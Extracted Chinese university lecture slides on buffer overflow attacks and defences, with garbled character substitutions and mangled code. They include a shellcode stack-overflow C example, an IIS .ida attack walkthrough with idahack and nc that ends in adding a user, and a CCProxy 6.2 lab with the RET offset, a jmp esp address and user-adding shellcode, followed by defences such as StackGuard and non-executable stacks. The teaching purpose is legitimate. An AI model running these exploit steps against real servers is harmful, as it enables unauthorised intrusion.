53、为了阐明如何运用shellcode以及如何精心安排溢出字符串,下面举个例子来阐明。p经过运转下面的代码,就能获得一个shell,当然,这个程序只具有实验目的,不具有攻击性。p详细的攻击实例将在实验课中引见。2024/9/25网络入侵与防备技术网络入侵与防备技术8485华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术857.4.5 shellcode运用例如Return addBuffer(96bytes)ilong_ptr高地高地址址低地低地址址Para2 Para1EBPBuffer addBuffer addBuffer addBuffer addcha
54、r shellcode = (前面的前面的shellcode)char large-string128;void main(int argc, char *argv) char buffer96; int i; long * long-ptr = (long * )large-string; /* 用用buffer的首地址填满的首地址填满large-string */ for(i=0;i32;i+)*(long-ptr+i)=(int)buffer; /* 将将shellcode填入填入large-string的前面部分的前面部分 */ for(i=0;istrlen(shellcode);i
55、+) large-stringi = shellcodei; strcpy(buffer ,large-string);shellcode86华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术867.4.5 shellcode运用例如p这是一个利用栈溢出的程序。当strcpy 函数调用前往时,其前往地址RET已被修正为buffer 的首地址,而该地址正好存放的是shellcode。p于是,shellcode被执行,胜利获得一个交互式shell。这是由于strcpy执行时不进展边境检查所致。87华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网
56、络入侵与防备技术877.4.5 shellcode运用例如p以上阐明的是攻击我们本人的程序的原理。实践上,被攻击程序的代码及其缓冲区地址对攻击者来说是未知的,这就添加了攻击的难度。p一个有效地处理这个问题的方法是运用NSR方式,下面引见NSR方式在此例中的运用。88华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术887.4.5 shellcode运用例如p首先,用猜测的buffer地址填充整个large- string;p然后,把shellcode 放置在large-string 的中部,前部用空指令NOP填充;再将large-string 的内容放入注入到
57、带有缓冲区溢出隐患的程序,就能够获得一个shell。前部填充的NOP是为了添加函数调用前往命中shellcode 的命中率,只需前往地址指向其中一个NOP,shellcode将最终会被执行,从而获得shell。89华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术897.5 实例:ida溢出破绽攻击pIda破绽判别: Windows 2K server或NT的IIS效力器的没有打service park(补丁包,简称SP),那么它就存在一个ida破绽,我们在阅读器里输入一个不存在的.ida文件,如:xxx.xxx.xxx.xxx/Nature.idap假设阅读
58、器就会前往如下的提示:找不到IDA文件在那么阐明该WEB效力器存在IDA溢出破绽。90华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术90ida溢出破绽攻击p工具:pofscan:IIS远程溢出破绽扫描工具pIdahack:ida破绽利用工具pNc:瑞士军刀91华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术91Ofscan运用方法92华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术92用ofscan扫描存在ida破绽的主机扫描到6台有能够有破绽。93华东理工大学计算机科学与工程系202
59、4/9/25网络入侵与防备技术网络入侵与防备技术93Idahack运用方法94华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术94用idahack进展攻击失败后的结果95华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术95用idahack进展攻击胜利后的结果96华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术96用nc获得一个shell 97华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术97获得shell后可以查看对方的信息98华东理工大学计算机科学
60、与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术98在shell中运转命令:添加用户99华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术997.6 缓冲区溢出的防御p7.6.1 缓冲区溢出防御概述p7.6.2 源码级维护方法p7.6.3 运转期维护方法p7.6.4 阻止攻击代码执行p7.6.5 加强系统维护 100华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1007.6.1 缓冲区溢出防御概述p从前面我们可以看出,缓冲区溢出的真正缘由在于某些编程言语缺乏类型平安,程序短少边境检查。p这一方面是源于编程言语
61、和库函数本身的弱点,如C言语中对数组和指针援用不自动进展边境检查,一些字符串处置函数如strcpy、sprintf等存在着严重的平安问题。p另一方面是程序员进展程序编写时,由于阅历缺乏或大意大意,没有进展或忽略了边境检查,使得缓冲区溢出破绽几乎无处不在,为缓冲区溢出攻击留下了隐患。 101华东理工大学计算机科学与工程系7.6.1 缓冲区溢出防御概述p这样要么放弃运用这类言语中的不平安类型,放弃不平安的类型就等于放弃这类言语的精华;要么运用其它的类型平安言语,如JAVA等。p而放弃C/C+言语等这样高效易用的编程言语对于大部分程序员又是不能接受的,所以只能采取其它的防护措施。 102华东理工大学
62、计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1027.6.1 缓冲区溢出防御概述p首先,可以思索在普通的攻击防护产品中参与针对缓冲区溢出攻击的防护功能,如防火墙和IDS等。p可以从两方面着手:p一是可以提取用于攻击的shellcode的普遍特征作为攻击特征,过滤掉这样的数据包或者触发报警。p二是对特定的效力限定恳求数据的值的范围,比如,某一效力要求恳求数据为可打印字符串,假设发现对这一效力的恳求存在不可打印字符那么以为发生攻击。103华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1037.6.1 缓冲区溢出防御概述p其次,经过分
63、析缓冲区溢出攻击的原理,可以发现缓冲区溢出可以胜利的几个条件:p编译器本身或库函数没有对数组类型的数据构造做严厉的边境检查,这是溢出的首要缘由;p前往地址放在堆栈的底部,使得经过溢出可以覆盖前往地址;p堆栈的属性普通是可执行的,使得恶意代码得以执行。104华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1047.6.2 源码级维护方法p防止源码中的相关bugp源码中溢出bug的查找p数组边境检查编译器105华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术105(1)防止源码中的相关bugp防患于未然。在软件开发过程中,对涉
64、及到缓冲区的操作,做严厉的边境检查,从代码编写层防止缓冲区溢出。pC言语是其中最具代表性的一种,由于只追求性能的传统认识,它具有容易出错的倾向,有许多字符串处置函数存在未检查输入参数长度和边境问题、字符串以零结尾而不是用下标管理等。p对运用C言语的开发人员来说,放弃这种高效易用的编程言语是不能接受的,因此,只能要求程序员提高本身编程程度,在编写程序时尽量防止有错误倾向的代码出现。p不过,保证代码的正确性和平安性是一个非常复杂的问题,这也将使开发人员的任务效率大大降低。在现代的程序开发中,运用程序往往非常庞大,加之程序员的阅历有限,要想彻底防止此类问题,在实践运用中往往是很难做到的。 106华东
65、理工大学计算机科学与工程系(1)防止源码中的相关bugp这里列出了一些编写程序时应该尽量防止运用的C库函数。运用时程序员要留意自行检查边境,或者尽能够运用其对应的替代函数。 107华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术107(2)源码中溢出bug的查找p人们尝试开发一些工具进展针对程序溢出破绽的代码审计任务。也就是利用工具对源码中能够存在溢出bug 的部分代码进展分析以发现bug。p最简单的方法就是搜索源码中容易产生破绽的库函数调用,如典型的strcpy 和sprintf这两个函数调用,它们都没有检查输入参数的长度。如利用grep来查找和搜索。p这
66、种方法虽然可以提高查找的效率,但是它需求较多的专业知识,要求平安审计人员对言语本身非常熟习。p同时由于grep 只是简单的对字符串进展匹配,只能发现众多问题中的很小的一部分,通常只是被作为辅助的工具运用。 108华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术108(2)源码中溢出bug的查找p一些组织和实验室开发了一些高级的查错工具,如fault injection、ITS4等。pITS4是针对C/C+设计的静态分析工具,可以在Windows、Unix/Linux环境下运用。它经过扫描源代码、对源代码执行方式匹配来进展任务,对能够危险的方式如特定的函数调用
67、进展提取和分析,确定危险的程度,对危险的函数调用提供问题的阐明和如何修复源代码的建议。 109华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1097.6.3 运转期维护方法p运转期维护方法概述p插入目的代码进展数组边境检查 p前往指针的完好性检查 110华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术110(1)运转期维护方法概述p运转期维护方法主要研讨如何在程序运转的过程中发现或阻止缓冲区溢出攻击。p这种方法具有简约、方便的特点,而且对相关知识要求不高,因此更为适用。p目前,动态维护研讨的主要方面是数组边境检查和如何保
68、证前往指针的完好性。 111华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术111(2)插入目的代码进展数组边境检查p只需数组不能被溢出,溢出攻击也就无从谈起。 p数组边境检查就是检查数组实践长度能否超越了分配的长度。假设超越,立刻进展相应的处置,如:舍去超出分配长度的部分。112华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术112(2)插入目的代码进展数组边境检查p为了实现数组边境检查,那么一切的对数组的读写操作都该当被检查以确保对数组的操作在正确的范围内。p最直接的方法是检查一切的数组操作,但是通常可以采用一些优化的
69、技术来减少检查的次数。113华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术113(2)插入目的代码进展数组边境检查p目前有以下的几种检查方法: pCompaq C 编译器pJones & Kelly: C的数组边境检查 pPurify:存储器存取检查p类型-平安言语114华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术114Compaq C 编译器pCompaq公司为Alpha CPU开发的C编译器支持有限制的边境检查(运用-check_bounds参数)。这些限制是:p只需显示的数组援用才被检查,比如“a3会被检查,而
70、“*(a+3)那么不会。p由于一切的C数组在传送的时候是指针传送的,所以传送给函数的的数组不会被检查。p带有危险性的库函数如strcpy不会在编译的时候进展边境检查,即使是指定了边境检查。 115华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术115Compaq C 编译器(2)p由于在C言语中利用指针进展数组操作和传送是如此的频繁,因此这种局限性是非常严重的。p通常这种边境检查用来程序的查错,而且不能保证不发生缓冲区溢出的破绽。 116华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术116Jones & Kelly: C
71、的数组边境检查 pRichard Jones和Paul Kelly开发了一个gcc的补丁,用来实现对C程序完全的数组边境检查。p由于没有改动指针的含义,所以被编译的程序和其他的gcc模块具有很好的兼容性。p更进一步的是,他们由此从没有指针的表达式中导出了一个“基指针,然后经过检查这个基指针来侦测表达式的结果能否在允许的范围之内。 117华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术117Jones & Kelly: C的数组边境检查(2) p当然,这样付出的性能上的代价是宏大的:对于一个频繁运用指针的程序如向量乘法,将由于指针的频繁运用而使速度比本来慢30
72、倍。 p这个编译器目前还很不成熟;一些复杂的程序还不能在这个上面编译。118华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术118Purify:存储器存取检查pPurify是C程序调试时查看存储器运用的工具而不是公用的平安工具。pPurify运用“目的代码插入技术来检查一切的存储器存取。p经过用Purify衔接工具衔接,可执行代码在执行的时候带来的性能上的损失要下降3-5倍。 119华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术119类型-平安言语p一切的缓冲区溢出破绽都源于言语缺乏类型平安。p假设只需类型-平安的操作才
73、可以被允许执行,这样就不能够出现对变量的强迫操作。p假设作为新手,可以引荐使器具有类型-平安的言语如Java和C#。120华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术120类型-平安言语(2)p但是作为Java执行平台的Java虚拟机是C程序,因此经过攻击JVM的一条途径是使JVM的缓冲区溢出。121华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术121(3)前往指针的完好性检查p程序指针完好性检查和边境检查的思绪不同。它不是防止程序指针被改动,而是在程序指针被援用之前检测它能否被改动。p因此,即使一个攻击者胜利地改动
74、了程序的指针,系统会事先检测到指针的改动,而废弃这个指针。 122华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术122(3)前往指针的完好性检查p前往指针的完好性检查主要采用了如下几种手段:p堆栈监测 pStackGuardpStackShield123华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术123堆栈监测 p堆栈监测是一种提供程序指针完好性检查的编译器技术,经过检查函数活动记录中的前往地址来实现。p它在每个函数中,参与了函数建立和销毁的代码,参与的函数建立代码实践上在堆栈中的函数前往地址前面加了一些附加的字节,
75、而在函数前往时,首先检查这个附加的字节能否被改动过,假设发生过缓冲区溢出,那么就很容易在函数前往前被检测到。124华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术124StackGuardpStackGuard是规范GNU的C编译器gcc的一个修正版。它经过在函数前往地址之前插入一个“守卫值canary值,在函数前往前检查canary值能否被修正,来保证前往地址的完好性。pStackGuard作为gcc的一个补丁,修正了函数建立和销毁部分的代码,由这些代码来完成canary值插入和canary值检查任务。125华东理工大学计算机科学与工程系2024/9/25
76、网络入侵与防备技术网络入侵与防备技术125StackShieldpStackShield 采用的方法略有不同。它另外创建一个堆栈用来储存函数前往地址的一份拷贝。p在受维护的函数的开头和结尾分别添加一段代码,开头处的代码用来将函数前往地址拷贝到一个特殊的表中,而结尾处的代码用来将前往地址从表中拷贝回堆栈。p因此即使前往地址被覆盖,函数执行流程也不会改动,将总是正确前往到调用函数中。 126华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术126StackShield(2)p但由于没有比较堆栈中的前往地址与保管的能否一样,因此并不能得知能否发生了堆栈溢出。p在最新
77、的版本中曾经添加了一些新的维护措施,当调用一个地址在非文本段内的函数指针时,将终止函数的执行。127华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1277.6.4 阻止攻击代码执行p当程序的执行流程曾经被重定向到攻击者的恶意代码时,前述的防护措施都曾经失效。p这时依然可以采取一定的措施阻止攻击的构成阻止攻击代码执行。 p非执行缓冲区技术:经过设置缓冲区地址空间的属性为不可执行,使得攻击代码不能执行,从而防止攻击,这种技术被称为非执行的缓冲区技术。 128华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1287.6.4 阻
78、止攻击代码执行p设置缓冲区最初的目的是用来存放数据而不是可执行代码,因此这样做本不该当带来兼容性的问题。p但是近来的Unix和MS Windows 系统为了便利地实现某些功能,往往允许在数据段中放入可执行代码,为了保证程序的兼容性,我们不能够使程序一切的数据段都不可执行。 p不过,我们可以设定堆栈数据段不可执行,由于几乎没有任何程序会在堆栈中存放代码,这样就可以最大限制地保证程序的兼容性。129华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1297.6.5 加强系统维护 p软件开发中的平安编程只能尽量减少缓冲区溢出的能够,并不能完全地消除它的存在,管理员不
79、可防止的还会面对缓冲区溢出攻击的要挟。p因此在系统管理阶段依然应该尽能够平安的配置其系统及系统提供的效力,以减少缓冲区溢出的要挟。 130华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1307.6.5 加强系统维护p这里我们以Linux系统的配置为例提出平安配置的主要原那么:p维护系统信息 p封锁不需求的效力p最小权限原那么p运用系统的堆栈补丁p检查系统破绽,及时为软件打上平安补丁131华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术131维护系统信息p攻击者需求系统信息才干确定缓冲区溢出破绽所在,隐藏系统信息可以获得对
80、系统最大程度的维护。p方法有:p使系统本地登录时不显示Linux发行版名字、版本号、内核版本和效力器称号;p不显示系统远程登录提示信息;p使系统对ping没有反响。132华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术132封锁不需求的效力p不用要的对外效力往往会提供攻击者其所需的破绽。留意如下5点:p制止提供finger 效力;p处置“inetd.conf文件:对于在网络环境中的Linux系统,首要的就是确定需求被监听的网络端口,为每个端口启动相应效力,并卸载不用要的效力; p修正系统的rc启动脚本,仅仅启动系统必需的效力;p处置“services文件,使
81、其不可被用户修正。133华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术133最小权限原那么p缓冲区溢出破绽的目的往往是setuid/setgid等具有特殊权限的程序。这使得权限中包含“s位的程序往往成为系统不平安的主要要素。p方法:p取消普通用户的控制台访问权限;p减少特权程序的运用。134华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术134最小权限原那么(2)p假设文件的权限位中出现“s,那么这些文件的SUID-rwsr-xr-x或SGID-r-xr-sr-x位被设定了。p由于这些程序给执行它的用户一些特权,可以被攻
82、击者恶意利用来提示本身权限。p因此所以假设不需求用到这些特权,最好把这些程序的s位移去。可以用下面的这个命令chmod a -s 移去相应文件的s位。 135华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术135运用系统的堆栈补丁p在平安编程中我们曾经讨论过运用不可执行堆栈的益处,但那是针对开发者的要求。p而系统管理员所运用的程序或软件往往不带有这样的配置,因此应该尽量去自动获得并安装操作系统提供商所发布的系统堆栈补丁。 136华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术136检查系统破绽,及时安装平安补丁p这也是最为
83、常识的做法,管理员应该经常性的关注平安音讯,尽快的获得软件平安破绽报告,并采取相应的措施,如安装平安补丁。p这对弥补缓冲区溢出破绽之外的其它平安缺陷也是很重要的。 137华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术1377.7 小结p本章我们重点引见了缓冲区溢出的原理、技巧及防备技术。p缓冲区溢出是一种非常危险并且极为常见的破绽。在过去的十年中,以缓冲区溢出为类型的平安破绽占是最为常见的一种方式了。p更为严重的是,缓冲区溢出破绽占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有时机获得一台主机的部分或全部的控制权。p因此对缓冲区
84、溢出破绽的防护成为维护系统平安的重要环节。缓冲区溢出破绽是程序开发所呵斥的,关注新的平安公告,晋级软件到最新版本或者安装开发商提供的补丁对防止缓冲区溢出溢出是必需的。 138华东理工大学计算机科学与工程系实验二:缓冲区溢出实验二:缓冲区溢出国家计算机网络入侵防备中心国家计算机网络入侵防备中心刘奇旭刘奇旭 139华东理工大学计算机科学与工程系内容摘要内容摘要1.实验目的2.实验工具3.实验步骤4.实验报告140华东理工大学计算机科学与工程系1.实验目的实验目的v掌握缓冲区溢出的原理v掌握常用的缓冲区溢出方法v了解缓冲区溢出的危害性v掌握防备和防止缓冲区溢出攻击的方法141华东理工大学计算机科学与
85、工程系2.实验工具实验工具v溢出对象:vCCProxy 6.2 (课上分析)vwar-ftp 1.65 (本人分析)v3CTftpSvc 2.0.1 (本人分析)v调试工具:vCDB/NTSD/WinDbg:这三个工具都包含在Debugging Tools for Windows中网上有下载vOllyDBG/IDAPro etc.v需求运用高级言语编程v虚拟机可选,自行安装142华东理工大学计算机科学与工程系3.实验步骤实验步骤1.引见CCProxy 6.22.CCProxy 6.2缓冲区溢出破绽阐明3.CCProxy 6.2缓冲区溢出破绽演示4.CCProxy 6.2缓冲区溢出破绽利用143
86、华东理工大学计算机科学与工程系3.1 引见引见CCProxyvCCProxy因其设置简单和运用方便等特点,成为国内最受欢迎的代理效力器软件。vCCProxy不但支持常见的HTTP和SOCKS代理,而且还支持FTP和Telnet这类不常用的协议及其它协议。144华东理工大学计算机科学与工程系3.2 破绽阐明破绽阐明vCCProxy在代理Telnet协议时,可以接受Ping命令vPing命令格式:ping hostnamernv当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序解体145华东理工大学计算机科学与工程系3.3 破绽演示破绽演示v在目的
87、主机运转CCProxy,运用默许设置v运转CCProxy的机器IP是192.168.121.129v运用telnet命令衔接CCProxy:vtelnet 192.168.121.129 23v前往信息:146华东理工大学计算机科学与工程系3.3 破绽演示破绽演示v输入ping命令,后接畸形数据:vping AAAAv在ping命令后接10个字符A,察看前往信息v将字符A的数量变为100个、1000个、2000个,察看前往信息v假设终端提示“Host not found,阐明CCProxy正确地处置了这个畸形数据,仍任务正常v假设终端提示“失去了跟主机的衔接,阐明CCProxy曾经解体147华
88、东理工大学计算机科学与工程系3.3 破绽演示破绽演示输入输入1000个个A输入输入10个个A148华东理工大学计算机科学与工程系3.3 破绽演示破绽演示输入输入2000个个A149华东理工大学计算机科学与工程系3.4 破绽利用破绽利用p于是,我们可以思索利用CCProxy 6.2的这个缓冲区溢出破绽,利用ping命令向其发送一个长的字符串,溢出部分变量,覆盖RET的位置,从而实现程序跳转。p定位RETp寻觅跳转指令地址p构造shellcodep定位shellcode存放位置 p编写攻击程序局部变量局部变量n局部变量局部变量1EBPRET函数实参函数实参1函数实参函数实参m函数栈规划函数栈规划1
89、50华东理工大学计算机科学与工程系3.4.1 定位定位RETv在目的主机上运转CCProxyv用CDB将其挂起vcdb pn ccproxy.exe151华东理工大学计算机科学与工程系3.4.1 定位定位RETv输入g继续运转v在攻击主机上按前面所述telnet到目的主机上,并经过ping命令把2000个A组成的字符串发送到CCProxy时,CDB捕捉到CCProxy的Access Violation事件152华东理工大学计算机科学与工程系3.4.1 定位定位RETv可以发现,EIP的内容为41414141字符A的ASCII码是0x41v这是由于栈中存放RET值的地方曾经被41414141覆盖
90、,当函数前往时,就将这个值弹出到EIP存放器vEIP中存放的是程序下一条指令的地址。但程序在0x41414141地址处找不到可执行的指令,因此报错v很容易想到,假设覆盖RET位置的不是0x41414141,而是指向某个跳转指令eg. Jmp esp的地址呢?153华东理工大学计算机科学与工程系3.4.1 定位定位RETv查看一下此时各存放器中的内容vESP和ESI指向的内容都有我们植入的字符串154华东理工大学计算机科学与工程系3.4.1 定位定位RETv我们选择ESP存放器来实现程序流程跳转v即:将shellcode放在ESP存放器中,然后在RET位置填充一条指向jmp esp指令的地址,于
91、是函数前往时,就能执行jmp esp,跳转到ESP中的shellcode上运转v定位:缓冲区有多大? RET位置在哪里?155华东理工大学计算机科学与工程系3.4.1 定位定位RETv利用一串不反复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移v经过patternCreate.pl来生成不反复的字符156华东理工大学计算机科学与工程系3.4.1 定位定位RET157华东理工大学计算机科学与工程系3.4.1 定位定位RETvTelnet到目的主机,将这串字符串经过ping命令发送给CCProxy,CDB捕捉到异常158华东理工大学计
92、算机科学与工程系3.4.1 定位定位RETvEIP存放器的值为:0x68423768v经过patternOffset.pl计算出它在整个长为2000的字符串中的偏移是1012159华东理工大学计算机科学与工程系3.4.1 定位定位RETv这阐明,RET相对缓冲区的偏移大小是1012字节。v由于EBP占4字节,故存放部分变量的缓冲区大小为1008字节。160华东理工大学计算机科学与工程系3.4.2 寻觅寻觅jmp指令地址指令地址v前面说到,我们选择经过jmp esp来实现程序跳转,也就是说,要在RET的位置放置jmp esp指令的地址,那么,到哪里找jmp esp指令呢?v最好是能在系统中找到现
93、成的,而不需求我们重新再构造v现实上,在Windows系统的许多DLL中都能找到jmp esp这样一条指令,一个通用的地址是0x7ffa4512161华东理工大学计算机科学与工程系3.4.2 寻觅寻觅jmp指令地址指令地址v前面分析,ping后接字符串的1012字节位置开场的4个字节将覆盖RETv于是,我们便可以在字符串的这个位置上填充0x120x450xfa0x7fv程序运转到此,就会转向地址0x7ffa4512找到jmp esp指令并执行,其流程发生变化162华东理工大学计算机科学与工程系3.4.3 构造构造shellcodev所谓shellcode就是一段可以完成特定功能的机器码,因其最
94、初的功能为获得目的主机的一个shell而得名v由于受目的主机的缓冲区大小限制,shellcode长度普通越小越好vShellcode普通构造步骤:v用C言语实现功能v将其修正为带有shellcode特点的汇编知晓汇编言语的人可直接运用汇编言语编写程序v根据汇编程序得到机器码方式的shellcode163华东理工大学计算机科学与工程系3.4.3 构造构造shellcodevmetasploit提供了许多通用的Shellcode164华东理工大学计算机科学与工程系3.4.3 构造构造shellcodev在目的主机中添加一个用户账号hack165华东理工大学计算机科学与工程系3.4.4 定位定位sh
95、ellcode存放位置存放位置v我们要把shellcode放置在程序解体时ESP指向的地址处v那么,程序解体时,ESP指向什么位置呢?v同样,我们可以用定位RET偏移的方法来定位ESP指向的位置166华东理工大学计算机科学与工程系3.4.4 定位定位shellcode存放位置存放位置v用CDB挂起CCProxy.exev利用patternCreate.pl生生长为2000的字符串v用ping命令向目的主机发送这个字符串v在CDB捕捉到CCProxy.exe的解体事件时,查看ESP的内容v用patternOffset.pl计算出它在整个长为2000的字符串中的偏移167华东理工大学计算机科学与工
96、程系3.4.4 定位定位shellcode存放位置存放位置v这阐明ESP指向字符串的第4个字节v因此,我们把shellcode放在字符串的第4个字节处v由于这段shellcode长度只需476字节,而缓冲区大小为1012字节,足够包容下shellcode168华东理工大学计算机科学与工程系p构造好的exploit的构造如下所示:169华东理工大学计算机科学与工程系3.4.5 编写攻击程序编写攻击程序vSocket编程v衔接目的主机connectv构造溢出字符串即构造后接shellcode的ping命令:ping shellcodernv向目的主机发送溢出字符串sendv封锁衔接170华东理工大
97、学计算机科学与工程系3.4.5 编写攻击程序编写攻击程序v运转攻击程序v在目的主机上查看攻击效果171华东理工大学计算机科学与工程系4. 实验阐明实验阐明v可任选CCProxy 6.2/war-ftp 1.65/3CTftpSvc 2.0.1进展溢出实验v截止时间:2021-11-13 3暂定v实验分值:20分v选择CCProxy:总分值按18分计v选择war-ftp:总分值按20分计v选择3CTftpSvc :总分值按20分计172华东理工大学计算机科学与工程系4. 实验阐实验阐明明CCProxyvCCProxy官方发现CCProxy 6.2的这个ping缓冲区溢出破绽后,对其进展了修补,当
98、ping恳求超越255字节时,会自动截断。不过修补后的CCProxy版本号未变v因此,在网上下载的CCProxy 6.2有能够是已修补了该破绽的程序173华东理工大学计算机科学与工程系4. 实验阐实验阐明明War-ftpvwar-ftp破绽提示:向效力器发送超越480字节的用户名可以触发破绽即使用命令USER longStringrn,溢出之后,ESP中的内容包含了longString中的部分内容174华东理工大学计算机科学与工程系175华东理工大学计算机科学与工程系4. 实验阐实验阐明明3CTftpSvcv软件称号:3CTftpSvcv影响版本:Current version:2.0.1v破
99、绽描画:畸形的传输方式可以导致缓冲区溢出,覆盖EIP,能够呵斥回绝效力攻击和远程代码执行。v破绽调试:当传输方式为mode = netascii + A * 469时覆盖EIP176华东理工大学计算机科学与工程系177华东理工大学计算机科学与工程系4. 实验阐明实验阐明v实验报告要求v详细分析破绽的细节v写出详细的实验步骤v附上攻击程序源代码v附上实验过程截图和结果截图v提出防备此类缓冲区溢出破绽的方法v论述碰到的问题及处理方法v论述收获和领会v阅读相关论文,论述阅读领会178华东理工大学计算机科学与工程系谢谢谢谢liuqxnipc.org179华东理工大学计算机科学与工程系缓冲区溢出攻击技术
100、栈溢出攻击技术180华东理工大学计算机科学与工程系内容p缓冲区溢出攻击简介p根本概念及开展历史p背景知识 (Linux & win32)p缓冲区溢出攻击的原理p栈溢出攻击如何任务?pLinux: 栈溢出, shellcodepWin32: 栈溢出, shellcodep总结181华东理工大学计算机科学与工程系缓冲区溢出攻击的要挟182华东理工大学计算机科学与工程系缓冲区溢出攻击的根本概念p向缓冲区中填入过多的数据,超出边境p导致数据外溢,覆盖了相邻的内存空间p利用缓冲区溢出改写数据、改动程序执行流程p干扰系统运转,破坏系统完全性,恣意执行恶意代码183华东理工大学计算机科学与工程系缓冲区溢出攻
101、击的开展历史p1980spMorris蠕虫fingerd缓冲区溢出攻击p1996pAleph One, Smashing the Stack for Fun and Profit, Phrack 49p1998pDildog: 提出利用栈指针的方法完成跳转pThe Tao of Windows Buffer Overflowsp1999pDark Spyrit: 提出运用系统中心DLL中的Jmp ESP指令完成跳转, Phrack 55pM. Conover: 基于堆的缓冲区溢出教程184华东理工大学计算机科学与工程系缓冲区溢出攻击背景知识与技巧p编译器、调试器的运用pLinux: gcc+g
102、dbpWin32: VC6.0+OllyDbgp进程内存空间构造p汇编言语根本知识p栈的根本构造p函数调用过程185华东理工大学计算机科学与工程系GCC编译器根底p最著名的GNU的Ansi c/c+编译器pgcc options filenames p编译: gcc -c test.c 生成 test.op衔接: gcc -o test test.op同时搞定: gcc test.c -o testpmake: 用于控制编译过程pMakefile How To186华东理工大学计算机科学与工程系GDB调试器的运用p断点相关指令pbreak/clear, disable/enable/delet
103、epwatch 表达式值改动时,程序中断p执行相关指令prun/continue/next/steppattach 调试已运转的进程pfinish/returnp信息查看相关指令pinfo reg/break/files/args/frame/functions/pbacktrace 函数调用栈pprint /f exp 显示表达式的值px /nfu addr 显示指定内存地址的内容plist 列出源码pdisass func 反汇编指定函数187华东理工大学计算机科学与工程系VC6.0命令行p环境变量p我的电脑属性高级环境变量pPATH: pC:Program FilesMicrosoft
104、Visual StudioVC98Bin;pC:Program FilesMicrosoft Visual StudioCommonMSDev98Bin;pINCLUDE:pC:Program FilesMicrosoft Visual StudioVC98IncludepLIB:pC:Program FilesMicrosoft Visual StudioVC98Libp命令行指令pcl sourcefilename 编译并链接188华东理工大学计算机科学与工程系Win32平台调试器pOllyDbg1.10汉化版p32-bit assembler level analysing debugg
105、er by Oleh YuschukpFreep支持插件机制pOllyUni: 查找跳转指令功能pSofticepIDA Pro189华东理工大学计算机科学与工程系背景知识进程内存空间ESPEIP0xc00000000x80000000LinuxWin32190华东理工大学计算机科学与工程系Linux进程内存空间pHighest zone (0xc0000000-3G)p进程环境参数: env strings & pointersp进程参数: argv strings & pointers, argc p栈p存储函数参数、本地参数和栈形状变量 (前往地址, )pLIFO, 向低地址增长p堆p动
106、态分配变量 (malloc)p向高地址增长p.bss: uninitialized datap.data: static initialized datap.text(0x80000000): 指令, 只读数据pExample: ./linux/memory/memory.c191华东理工大学计算机科学与工程系Win32进程内存空间p系统中心内存区间p0xFFFFFFFF0x80000000 (4G2G)p为Win32操作系统保管p用户内存区间p0x000000000x80000000 (2G0G)p堆: 动态分配变量(malloc), 向高地址增长p静态内存区间: 全局变量、静态变量p代码区
